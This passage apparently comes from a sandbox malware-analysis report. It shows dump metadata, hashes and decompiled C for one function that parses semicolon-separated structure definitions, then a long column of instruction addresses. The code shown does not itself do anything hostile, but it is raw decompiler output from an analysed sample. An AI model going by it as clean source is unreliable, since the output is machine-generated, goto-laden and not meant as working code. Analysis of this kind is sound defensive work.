                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2710830443-0
                                                                                                                                                                            • Opcode ID: fc668e8f88677791c9032932ff1b39d21009c78d2dca35edbf1b20bb29ea35ff
                                                                                                                                                                            • Instruction ID: 438da6915ae72ab6a15f098678a9856147cbf2dc0a85cf0a700465948addd5b0
                                                                                                                                                                            • Opcode Fuzzy Hash: fc668e8f88677791c9032932ff1b39d21009c78d2dca35edbf1b20bb29ea35ff
                                                                                                                                                                            • Instruction Fuzzy Hash: 14E012712853107BE72157509D0EFAF7B98AF18B11F14481EB241B50D0DAF8A941876E
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0046EDC6 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 383COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 90%
                                                                                                                                                                            			E0046EDC6(void* __fp0, signed int* _a4, signed int _a8, signed int* _a12, intOrPtr _a16) {
				char _v20;
				signed int _v36;
				char _v52;
				signed int* _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				char _v72;
				signed int _v76;
				signed int* _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				intOrPtr _v96;
				signed int _v100;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short* _t180;
				signed int _t181;
				signed int _t187;
				signed int _t191;
				signed int _t192;
				signed int _t195;
				signed int _t201;
				signed int _t206;
				signed int _t207;
				signed int _t210;
				signed int _t216;
				signed int _t217;
				signed int _t221;
				signed int _t222;
				char _t225;
				signed int _t232;
				signed int _t234;
				signed int _t241;
				signed int _t243;
				signed int _t244;
				signed int _t248;
				signed int _t249;
				signed int _t253;
				signed int _t254;
				short* _t261;
				signed int* _t263;
				signed int _t277;
				signed int _t287;
				intOrPtr _t293;
				signed int* _t301;
				signed int* _t302;
				signed int _t303;
				signed int _t317;
				signed int _t319;
				signed int _t320;
				signed int _t323;
				signed int _t327;
				signed int* _t328;
				signed int _t329;
				signed int _t331;
				void* _t336;
				signed int _t337;
				void* _t339;
				void* _t340;
				void* _t343;
				void* _t346;

				_t346 = __fp0;
				_t339 = (_t337 & 0xfffffff8) - 0x5c;
				E0045335B( &_a12);
				_t263 = _a4;
				E00443DEA(_t263);
				_t317 = 0;
				_v100 = 0;
				_v72 = 0;
				_v76 = 8;
				_v92 = 0;
				_v84 = 0;
				_t344 = _a16;
				if(_a16 == 0) {
					L82:
					E00402620( &_a12);
					return 1;
				} else {
					 *_t263 = 0;
					while(1) {
						_t180 = E00401BE0(_t317,  &_a12, _t344);
						_t345 =  *_t180;
						if( *_t180 == 0) {
							break;
						}
						_t261 = E00401BE0(_t317,  &_a12, _t345);
						_t317 = _t317 + 1;
						_t344 =  *_t261 - 0x3b;
						if( *_t261 == 0x3b) {
							 *_t263 =  *_t263 + 1;
						}
					}
					__eflags = _a16 - 1;
					if(__eflags > 0) {
						__eflags =  *((short*)(E00401BE0(_t317,  &_a12, __eflags))) - 0x3b;
						if(__eflags != 0) {
							 *_t263 =  *_t263 + 1;
							__eflags =  *_t263;
						}
					}
					_t327 =  *_t263;
					_t181 = _t327;
					_t306 = _t181 * 0x20 >> 0x20;
					_push( ~(0 | __eflags > 0x00000000) | ( ~(0 | __eflags > 0x00000000) | _t181 * 0x00000020) + 0x00000004);
					_t187 = E0041171A(_t263, _t317, __eflags);
					_t340 = _t339 + 4;
					__eflags = _t187;
					if(_t187 == 0) {
						_t319 = 0;
						__eflags = 0;
					} else {
						_t20 = _t187 + 4; // 0x4
						_t319 = _t20;
						 *_t187 = _t327;
						E00410B20(_t327, 0x44b951, _t319, 0x20);
						_t263 = _a4;
					}
					_t263[1] = _t319;
					_t320 = 0;
					E0040C060( &_v20, __eflags);
					E0040C060( &_v36, __eflags);
					E0040C060( &_v52, __eflags);
					_t328 = _a12;
					_v56 = _t328;
					__eflags =  *_t328;
					if( *_t328 == 0) {
						L72:
						_t277 = _v68;
						_t191 = _v64;
						__eflags = _t191 - _t277;
						if(_t191 < _t277) {
							_t277 = _t191;
						}
						_t329 = _v92;
						_t192 = _t329;
						asm("cdq");
						__eflags = _t192 / _t277 * _t277 - _t329;
						if(_t192 / _t277 * _t277 != _t329) {
							asm("cdq");
							_t206 = (_t277 + _t329) / _t277 * _t277;
							__eflags = _t206;
							_v92 = _t206;
							_t329 = _t206;
						}
						_t195 = _a8;
						_t263[3] = _t329;
						__eflags = _t195;
						if(__eflags != 0) {
							_t263[4] = 0;
							_t263[2] = _t195;
						} else {
							_push(4);
							_t201 = E0041171A(_t263, _t320, __eflags);
							__eflags = _t201;
							if(__eflags == 0) {
								_t201 = 0;
								__eflags = 0;
							} else {
								 *_t201 = 1;
							}
							_push(_v92);
							_t263[4] = _t201;
							_t263[2] = E0041171A(_t263, _t320, __eflags);
							E004131F0(_t320, _t202, 0, _t263[3]);
						}
						E00402620( &_v52);
						E00402620( &_v36);
						E00402620( &_v20);
						E00402620( &_a12);
						__eflags = 0;
						return 0;
					} else {
						_v72 = 0;
						while(1) {
							L13:
							_t207 =  *(_t328 + _t320 * 2) & 0x0000ffff;
							__eflags = _t207 - 0x20;
							if(_t207 == 0x20) {
								break;
							}
							__eflags = _t207 - 9;
							if(_t207 == 9) {
								break;
							}
							__eflags =  *(_t328 + _t320 * 2);
							if( *(_t328 + _t320 * 2) == 0) {
								goto L72;
							} else {
								E004021E0( &_v20, _t263, _t306, 0x4848e8);
								while(1) {
									_t283 =  *(_t328 + _t320 * 2) & 0x0000ffff;
									_t210 = E004134D9( *(_t328 + _t320 * 2) & 0x0000ffff,  *(_t328 + _t320 * 2) & 0x0000ffff);
									_t340 = _t340 + 4;
									__eflags = _t210;
									if(_t210 != 0) {
										goto L20;
									}
									L19:
									__eflags =  *(_t328 + _t320 * 2) - 0x5f;
									if( *(_t328 + _t320 * 2) == 0x5f) {
										goto L20;
									}
									_v88 = 0;
									E004021E0( &_v52, _t263, _t306, 0x4848e8);
									while(1) {
										_t216 =  *(_t328 + _t320 * 2) & 0x0000ffff;
										__eflags = _t216 - 0x20;
										if(_t216 == 0x20) {
											goto L24;
										}
										L23:
										__eflags = _t216 - 9;
										if(_t216 == 9) {
											goto L24;
										}
										__eflags =  *(_t328 + _t320 * 2) - 0x5b;
										if( *(_t328 + _t320 * 2) != 0x5b) {
											while(1) {
												_t306 =  *(_t328 + _t320 * 2) & 0x0000ffff;
												_t254 = E004134D9(_t283,  *(_t328 + _t320 * 2) & 0x0000ffff);
												_t340 = _t340 + 4;
												__eflags = _t254;
												if(_t254 != 0) {
													goto L29;
												}
												L28:
												__eflags =  *(_t328 + _t320 * 2) - 0x5f;
												if( *(_t328 + _t320 * 2) != 0x5f) {
													goto L30;
												} else {
													goto L29;
												}
												while(1) {
													L30:
													_t217 =  *(_t328 + _t320 * 2) & 0x0000ffff;
													__eflags = _t217 - 0x20;
													if(_t217 == 0x20) {
														goto L32;
													}
													L31:
													__eflags = _t217 - 9;
													if(_t217 == 9) {
														goto L32;
													}
													__eflags =  *(_t328 + _t320 * 2) - 0x5b;
													if( *(_t328 + _t320 * 2) != 0x5b) {
														L40:
														__eflags =  *(_t328 + _t320 * 2) - 0x3b;
														if( *(_t328 + _t320 * 2) != 0x3b) {
															__eflags = _t320 - _a16;
															if(_t320 < _a16) {
																E00402620( &_v52);
																E00402620( &_v36);
																E00402620( &_v20);
																goto L82;
															} else {
																goto L43;
															}
														} else {
															_t320 = _t320 + 1;
															L43:
															_v60 = 0;
															_v80 = 0x492738;
															while(1) {
																__eflags = _v60;
																if(_v60 != 0) {
																	break;
																}
																_t78 =  &_v80; // 0x492738
																_t241 = E004133E4( *_t78 + 0xffffffe8, _v20);
																_t301 = _v80;
																_t340 = _t340 + 8;
																__eflags = _t241;
																if(_t241 == 0) {
																	_t243 =  *_t301;
																	_v76 = _t243;
																	__eflags = _t243 & 0x00000031;
																	if((_t243 & 0x00000031) != 0) {
																		__eflags = _v88;
																		if(_v88 > 0) {
																			_t244 = _t243 | 0x00000004;
																			__eflags = _t244;
																			_v76 = _t244;
																		}
																	}
																	_t306 =  *(_t301 - 4);
																	_v84 =  *(_t301 - 4);
																	_v60 = 1;
																}
																_t302 =  &(_t301[7]);
																__eflags = _t302 - 0x492a80;
																_v80 = _t302;
																if(_t302 < 0x492a80) {
																	continue;
																} else {
																	__eflags = _v60;
																	if(_v60 == 0) {
																		goto L79;
																	} else {
																		break;
																	}
																}
																goto L87;
															}
															__eflags = _v76 - 0x80;
															if(_v76 != 0x80) {
																__eflags = _v88;
																if(_v88 <= 0) {
																	_v88 = 1;
																}
																_t287 = _v68;
																_t221 = _v84;
																__eflags = _t221 - _t287;
																if(_t221 < _t287) {
																	_t287 = _t221;
																}
																_t331 = _v92;
																_t222 = _t331;
																asm("cdq");
																__eflags = _t222 / _t287 * _t287 - _t331;
																if(_t222 / _t287 * _t287 != _t331) {
																	asm("cdq");
																	_t232 = (_t287 + _t331) / _t287 * _t287;
																	__eflags = _t232;
																	_v92 = _t232;
																}
																_t225 = _v72;
																 *((intOrPtr*)(_t225 + _t263[1])) = _v92;
																 *(_t225 + _t263[1] + 4) = _v84;
																 *((intOrPtr*)(_t225 + _t263[1] + 8)) = _v76;
																E0040DF50(_t225 + _t263[1] + 0xc,  &_v52);
																_t306 = _v88;
																_t293 = _v96 + _v92 * _t306;
																__eflags = _t306 - _v68;
																_v96 = _t293;
																 *((intOrPtr*)(_v76 + _t263[1] + 0x1c)) = _t293;
																if(_t306 > _v68) {
																	_v64 = _t306;
																}
																_t137 =  &_v72;
																 *_t137 = _v72 + 0x20;
																__eflags =  *_t137;
																_t328 = _v56;
																goto L71;
															} else {
																_push(_v52);
																_t234 = E00413431();
																_t340 = _t340 + 4;
																_v68 = _t234;
																__eflags = _t234;
																if(_t234 == 0) {
																	_v68 = 8;
																	goto L61;
																} else {
																	__eflags = _t234 - 1;
																	if(_t234 == 1) {
																		L61:
																		 *_t263 =  *_t263 - 1;
																		_v64 = 0;
																		goto L71;
																	} else {
																		__eflags = _t234 - 2;
																		if(_t234 == 2) {
																			goto L61;
																		} else {
																			__eflags = _t234 - 4;
																			if(_t234 == 4) {
																				goto L61;
																			} else {
																				__eflags = _t234 - 8;
																				if(_t234 == 8) {
																					goto L61;
																				} else {
																					__eflags = _t234 - 0x10;
																					if(_t234 != 0x10) {
																						goto L80;
																					} else {
																						 *_t263 =  *_t263 - 1;
																						_v64 = 0;
																						L71:
																						__eflags =  *(_t328 + _t320 * 2);
																						if( *(_t328 + _t320 * 2) != 0) {
																							goto L13;
																						} else {
																							goto L72;
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													} else {
														_t323 = _t320 + 1;
														E004021E0( &_v36, _t263, _t306, 0x4848e8);
														_t248 = E0041349D(_t283,  *(_t328 + _t323 * 2) & 0x0000ffff);
														_t343 = _t340 + 4;
														__eflags = _t248;
														if(_t248 != 0) {
															do {
																E00403470( &_v36, _t263, _t336, _t346,  *(_t328 + _t323 * 2) & 0x0000ffff);
																_t303 =  *(_t328 + 2 + _t323 * 2) & 0x0000ffff;
																_t323 = _t323 + 1;
																_t253 = E0041349D(_t303, _t303);
																_t343 = _t343 + 4;
																__eflags = _t253;
															} while (_t253 != 0);
														}
														_t306 = _v36;
														_push(_v36);
														_t249 = E00413431();
														_t340 = _t343 + 4;
														_v88 = _t249;
														__eflags = _t249;
														if(_t249 <= 0) {
															L79:
															E00443DEA(_t263);
															L80:
															E00402620( &_v52);
															E00402620( &_v36);
															E00402620( &_v20);
															E00402620( &_a12);
															return 2;
														} else {
															__eflags =  *(_t328 + _t323 * 2) - 0x5d;
															if( *(_t328 + _t323 * 2) != 0x5d) {
																goto L79;
															} else {
																_t320 = _t323 + 1;
																__eflags = _t320;
																goto L40;
															}
														}
													}
													goto L87;
													L32:
													_t320 = _t320 + 1;
												}
												goto L30;
												L29:
												E00403470( &_v52, _t263, _t336, _t346,  *(_t328 + _t320 * 2) & 0x0000ffff);
												_t320 = _t320 + 1;
												_t306 =  *(_t328 + _t320 * 2) & 0x0000ffff;
												_t254 = E004134D9(_t283,  *(_t328 + _t320 * 2) & 0x0000ffff);
												_t340 = _t340 + 4;
												__eflags = _t254;
												if(_t254 != 0) {
													goto L29;
												}
												goto L28;
											}
										}
										L30:
										_t217 =  *(_t328 + _t320 * 2) & 0x0000ffff;
										__eflags = _t217 - 0x20;
										if(_t217 == 0x20) {
											goto L32;
										}
										goto L31;
										L24:
										_t320 = _t320 + 1;
										_t216 =  *(_t328 + _t320 * 2) & 0x0000ffff;
										__eflags = _t216 - 0x20;
										if(_t216 == 0x20) {
											goto L24;
										}
										goto L23;
									}
									L20:
									E00403470( &_v20, _t263, _t336, _t346,  *(_t328 + _t320 * 2) & 0x0000ffff);
									_t320 = _t320 + 1;
									_t283 =  *(_t328 + _t320 * 2) & 0x0000ffff;
									_t210 = E004134D9( *(_t328 + _t320 * 2) & 0x0000ffff,  *(_t328 + _t320 * 2) & 0x0000ffff);
									_t340 = _t340 + 4;
									__eflags = _t210;
									if(_t210 != 0) {
										goto L20;
									}
									goto L19;
								}
							}
							goto L87;
						}
						_t320 = _t320 + 1;
						goto L13;
					}
				}
				L87:
			}




































































                                                                                                                                                                            0x0046edc6
                                                                                                                                                                            0x0046edcc
                                                                                                                                                                            0x0046edd6
                                                                                                                                                                            0x0046eddb
                                                                                                                                                                            0x0046eddf
                                                                                                                                                                            0x0046ede4
                                                                                                                                                                            0x0046ede6
                                                                                                                                                                            0x0046edea
                                                                                                                                                                            0x0046edee
                                                                                                                                                                            0x0046edf6
                                                                                                                                                                            0x0046edfa
                                                                                                                                                                            0x0046edfe
                                                                                                                                                                            0x0046ee01
                                                                                                                                                                            0x0046f23f
                                                                                                                                                                            0x0046f242
                                                                                                                                                                            0x0046f252
                                                                                                                                                                            0x0046ee07
                                                                                                                                                                            0x0046ee07
                                                                                                                                                                            0x0046ee09
                                                                                                                                                                            0x0046ee0c
                                                                                                                                                                            0x0046ee11
                                                                                                                                                                            0x0046ee15
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046ee17
                                                                                                                                                                            0x0046ee1c
                                                                                                                                                                            0x0046ee1d
                                                                                                                                                                            0x0046ee21
                                                                                                                                                                            0x0046ee23
                                                                                                                                                                            0x0046ee23
                                                                                                                                                                            0x0046ee21
                                                                                                                                                                            0x0046ee27
                                                                                                                                                                            0x0046ee2b
                                                                                                                                                                            0x0046ee36
                                                                                                                                                                            0x0046ee3a
                                                                                                                                                                            0x0046ee3c
                                                                                                                                                                            0x0046ee3c
                                                                                                                                                                            0x0046ee3c
                                                                                                                                                                            0x0046ee3a
                                                                                                                                                                            0x0046ee3e
                                                                                                                                                                            0x0046ee42
                                                                                                                                                                            0x0046ee49
                                                                                                                                                                            0x0046ee5e
                                                                                                                                                                            0x0046ee5f
                                                                                                                                                                            0x0046ee64
                                                                                                                                                                            0x0046ee67
                                                                                                                                                                            0x0046ee69
                                                                                                                                                                            0x0046ee85
                                                                                                                                                                            0x0046ee85
                                                                                                                                                                            0x0046ee6b
                                                                                                                                                                            0x0046ee6b
                                                                                                                                                                            0x0046ee6b
                                                                                                                                                                            0x0046ee6e
                                                                                                                                                                            0x0046ee7b
                                                                                                                                                                            0x0046ee80
                                                                                                                                                                            0x0046ee80
                                                                                                                                                                            0x0046ee87
                                                                                                                                                                            0x0046ee8e
                                                                                                                                                                            0x0046ee90
                                                                                                                                                                            0x0046ee99
                                                                                                                                                                            0x0046eea2
                                                                                                                                                                            0x0046eea7
                                                                                                                                                                            0x0046eeaa
                                                                                                                                                                            0x0046eeae
                                                                                                                                                                            0x0046eeb1
                                                                                                                                                                            0x0046f19c
                                                                                                                                                                            0x0046f19c
                                                                                                                                                                            0x0046f1a0
                                                                                                                                                                            0x0046f1a4
                                                                                                                                                                            0x0046f1a6
                                                                                                                                                                            0x0046f1a8
                                                                                                                                                                            0x0046f1a8
                                                                                                                                                                            0x0046f1aa
                                                                                                                                                                            0x0046f1ae
                                                                                                                                                                            0x0046f1b0
                                                                                                                                                                            0x0046f1b6
                                                                                                                                                                            0x0046f1b8
                                                                                                                                                                            0x0046f1bd
                                                                                                                                                                            0x0046f1c0
                                                                                                                                                                            0x0046f1c0
                                                                                                                                                                            0x0046f1c3
                                                                                                                                                                            0x0046f1c7
                                                                                                                                                                            0x0046f1c7
                                                                                                                                                                            0x0046f1c9
                                                                                                                                                                            0x0046f1cc
                                                                                                                                                                            0x0046f1cf
                                                                                                                                                                            0x0046f1d1
                                                                                                                                                                            0x0046f278
                                                                                                                                                                            0x0046f27f
                                                                                                                                                                            0x0046f1d7
                                                                                                                                                                            0x0046f1d7
                                                                                                                                                                            0x0046f1d9
                                                                                                                                                                            0x0046f1e1
                                                                                                                                                                            0x0046f1e3
                                                                                                                                                                            0x0046f255
                                                                                                                                                                            0x0046f255
                                                                                                                                                                            0x0046f1e5
                                                                                                                                                                            0x0046f1e5
                                                                                                                                                                            0x0046f1e5
                                                                                                                                                                            0x0046f25b
                                                                                                                                                                            0x0046f25c
                                                                                                                                                                            0x0046f26b
                                                                                                                                                                            0x0046f26e
                                                                                                                                                                            0x0046f273
                                                                                                                                                                            0x0046f286
                                                                                                                                                                            0x0046f28f
                                                                                                                                                                            0x0046f298
                                                                                                                                                                            0x0046f2a0
                                                                                                                                                                            0x0046f2a7
                                                                                                                                                                            0x0046f2ad
                                                                                                                                                                            0x0046eeb7
                                                                                                                                                                            0x0046eeb7
                                                                                                                                                                            0x0046eebb
                                                                                                                                                                            0x0046eebb
                                                                                                                                                                            0x0046eebb
                                                                                                                                                                            0x0046eebf
                                                                                                                                                                            0x0046eec3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046eec5
                                                                                                                                                                            0x0046eec9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046eece
                                                                                                                                                                            0x0046eed3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046eed9
                                                                                                                                                                            0x0046eee2
                                                                                                                                                                            0x0046eee7
                                                                                                                                                                            0x0046eee7
                                                                                                                                                                            0x0046eeec
                                                                                                                                                                            0x0046eef1
                                                                                                                                                                            0x0046eef4
                                                                                                                                                                            0x0046eef6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046eef8
                                                                                                                                                                            0x0046eef8
                                                                                                                                                                            0x0046eefd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046ef19
                                                                                                                                                                            0x0046ef21
                                                                                                                                                                            0x0046ef26
                                                                                                                                                                            0x0046ef26
                                                                                                                                                                            0x0046ef2a
                                                                                                                                                                            0x0046ef2e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046ef30
                                                                                                                                                                            0x0046ef30
                                                                                                                                                                            0x0046ef34
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046ef39
                                                                                                                                                                            0x0046ef3e
                                                                                                                                                                            0x0046ef46
                                                                                                                                                                            0x0046ef46
                                                                                                                                                                            0x0046ef4b
                                                                                                                                                                            0x0046ef50
                                                                                                                                                                            0x0046ef53
                                                                                                                                                                            0x0046ef55
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046ef57
                                                                                                                                                                            0x0046ef57
                                                                                                                                                                            0x0046ef5c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046ef76
                                                                                                                                                                            0x0046ef76
                                                                                                                                                                            0x0046ef76
                                                                                                                                                                            0x0046ef7a
                                                                                                                                                                            0x0046ef7e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046ef80
                                                                                                                                                                            0x0046ef80
                                                                                                                                                                            0x0046ef84
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046ef89
                                                                                                                                                                            0x0046ef8e
                                                                                                                                                                            0x0046effc
                                                                                                                                                                            0x0046effc
                                                                                                                                                                            0x0046f001
                                                                                                                                                                            0x0046f006
                                                                                                                                                                            0x0046f009
                                                                                                                                                                            0x0046f228
                                                                                                                                                                            0x0046f231
                                                                                                                                                                            0x0046f23a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046f003
                                                                                                                                                                            0x0046f003
                                                                                                                                                                            0x0046f00f
                                                                                                                                                                            0x0046f00f
                                                                                                                                                                            0x0046f017
                                                                                                                                                                            0x0046f026
                                                                                                                                                                            0x0046f026
                                                                                                                                                                            0x0046f02b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046f031
                                                                                                                                                                            0x0046f03a
                                                                                                                                                                            0x0046f03f
                                                                                                                                                                            0x0046f043
                                                                                                                                                                            0x0046f046
                                                                                                                                                                            0x0046f048
                                                                                                                                                                            0x0046f04a
                                                                                                                                                                            0x0046f04c
                                                                                                                                                                            0x0046f050
                                                                                                                                                                            0x0046f052
                                                                                                                                                                            0x0046f054
                                                                                                                                                                            0x0046f059
                                                                                                                                                                            0x0046f05b
                                                                                                                                                                            0x0046f05b
                                                                                                                                                                            0x0046f05e
                                                                                                                                                                            0x0046f05e
                                                                                                                                                                            0x0046f059
                                                                                                                                                                            0x0046f062
                                                                                                                                                                            0x0046f065
                                                                                                                                                                            0x0046f069
                                                                                                                                                                            0x0046f069
                                                                                                                                                                            0x0046f071
                                                                                                                                                                            0x0046f074
                                                                                                                                                                            0x0046f07a
                                                                                                                                                                            0x0046f07e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046f080
                                                                                                                                                                            0x0046f080
                                                                                                                                                                            0x0046f085
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046f085
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046f07e
                                                                                                                                                                            0x0046f08b
                                                                                                                                                                            0x0046f093
                                                                                                                                                                            0x0046f0ed
                                                                                                                                                                            0x0046f0f2
                                                                                                                                                                            0x0046f0f4
                                                                                                                                                                            0x0046f0f4
                                                                                                                                                                            0x0046f0fc
                                                                                                                                                                            0x0046f100
                                                                                                                                                                            0x0046f104
                                                                                                                                                                            0x0046f106
                                                                                                                                                                            0x0046f108
                                                                                                                                                                            0x0046f108
                                                                                                                                                                            0x0046f10a
                                                                                                                                                                            0x0046f10e
                                                                                                                                                                            0x0046f110
                                                                                                                                                                            0x0046f116
                                                                                                                                                                            0x0046f118
                                                                                                                                                                            0x0046f11d
                                                                                                                                                                            0x0046f120
                                                                                                                                                                            0x0046f120
                                                                                                                                                                            0x0046f123
                                                                                                                                                                            0x0046f123
                                                                                                                                                                            0x0046f12a
                                                                                                                                                                            0x0046f132
                                                                                                                                                                            0x0046f13c
                                                                                                                                                                            0x0046f147
                                                                                                                                                                            0x0046f157
                                                                                                                                                                            0x0046f15c
                                                                                                                                                                            0x0046f16f
                                                                                                                                                                            0x0046f171
                                                                                                                                                                            0x0046f178
                                                                                                                                                                            0x0046f17c
                                                                                                                                                                            0x0046f180
                                                                                                                                                                            0x0046f184
                                                                                                                                                                            0x0046f184
                                                                                                                                                                            0x0046f188
                                                                                                                                                                            0x0046f188
                                                                                                                                                                            0x0046f188
                                                                                                                                                                            0x0046f18d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046f095
                                                                                                                                                                            0x0046f099
                                                                                                                                                                            0x0046f09a
                                                                                                                                                                            0x0046f09f
                                                                                                                                                                            0x0046f0a2
                                                                                                                                                                            0x0046f0a6
                                                                                                                                                                            0x0046f0a8
                                                                                                                                                                            0x0046f0d6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046f0aa
                                                                                                                                                                            0x0046f0aa
                                                                                                                                                                            0x0046f0ad
                                                                                                                                                                            0x0046f0de
                                                                                                                                                                            0x0046f0de
                                                                                                                                                                            0x0046f0e0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046f0af
                                                                                                                                                                            0x0046f0af
                                                                                                                                                                            0x0046f0b2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046f0b4
                                                                                                                                                                            0x0046f0b4
                                                                                                                                                                            0x0046f0b7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046f0b9
                                                                                                                                                                            0x0046f0b9
                                                                                                                                                                            0x0046f0bc
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046f0be
                                                                                                                                                                            0x0046f0be
                                                                                                                                                                            0x0046f0c1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046f0c7
                                                                                                                                                                            0x0046f0c7
                                                                                                                                                                            0x0046f0c9
                                                                                                                                                                            0x0046f191
                                                                                                                                                                            0x0046f191
                                                                                                                                                                            0x0046f196
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046f196
                                                                                                                                                                            0x0046f0c1
                                                                                                                                                                            0x0046f0bc
                                                                                                                                                                            0x0046f0b7
                                                                                                                                                                            0x0046f0b2
                                                                                                                                                                            0x0046f0ad
                                                                                                                                                                            0x0046f0a8
                                                                                                                                                                            0x0046f093
                                                                                                                                                                            0x0046ef90
                                                                                                                                                                            0x0046ef99
                                                                                                                                                                            0x0046ef9a
                                                                                                                                                                            0x0046efa4
                                                                                                                                                                            0x0046efa9
                                                                                                                                                                            0x0046efac
                                                                                                                                                                            0x0046efae
                                                                                                                                                                            0x0046efb6
                                                                                                                                                                            0x0046efbf
                                                                                                                                                                            0x0046efc4
                                                                                                                                                                            0x0046efc9
                                                                                                                                                                            0x0046efcb
                                                                                                                                                                            0x0046efd0
                                                                                                                                                                            0x0046efd3
                                                                                                                                                                            0x0046efd3
                                                                                                                                                                            0x0046efb6
                                                                                                                                                                            0x0046efd7
                                                                                                                                                                            0x0046efdb
                                                                                                                                                                            0x0046efdc
                                                                                                                                                                            0x0046efe1
                                                                                                                                                                            0x0046efe4
                                                                                                                                                                            0x0046efe8
                                                                                                                                                                            0x0046efea
                                                                                                                                                                            0x0046f1ed
                                                                                                                                                                            0x0046f1ee
                                                                                                                                                                            0x0046f1f3
                                                                                                                                                                            0x0046f1f7
                                                                                                                                                                            0x0046f200
                                                                                                                                                                            0x0046f209
                                                                                                                                                                            0x0046f211
                                                                                                                                                                            0x0046f221
                                                                                                                                                                            0x0046eff0
                                                                                                                                                                            0x0046eff0
                                                                                                                                                                            0x0046eff5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046effb
                                                                                                                                                                            0x0046effb
                                                                                                                                                                            0x0046effb
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046effb
                                                                                                                                                                            0x0046eff5
                                                                                                                                                                            0x0046efea
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046ef86
                                                                                                                                                                            0x0046ef86
                                                                                                                                                                            0x0046ef86
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046ef5e
                                                                                                                                                                            0x0046ef67
                                                                                                                                                                            0x0046ef6c
                                                                                                                                                                            0x0046ef46
                                                                                                                                                                            0x0046ef4b
                                                                                                                                                                            0x0046ef50
                                                                                                                                                                            0x0046ef53
                                                                                                                                                                            0x0046ef55
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046ef55
                                                                                                                                                                            0x0046ef46
                                                                                                                                                                            0x0046ef76
                                                                                                                                                                            0x0046ef76
                                                                                                                                                                            0x0046ef7a
                                                                                                                                                                            0x0046ef7e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046ef36
                                                                                                                                                                            0x0046ef36
                                                                                                                                                                            0x0046ef26
                                                                                                                                                                            0x0046ef2a
                                                                                                                                                                            0x0046ef2e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046ef2e
                                                                                                                                                                            0x0046eeff
                                                                                                                                                                            0x0046ef08
                                                                                                                                                                            0x0046ef0d
                                                                                                                                                                            0x0046eee7
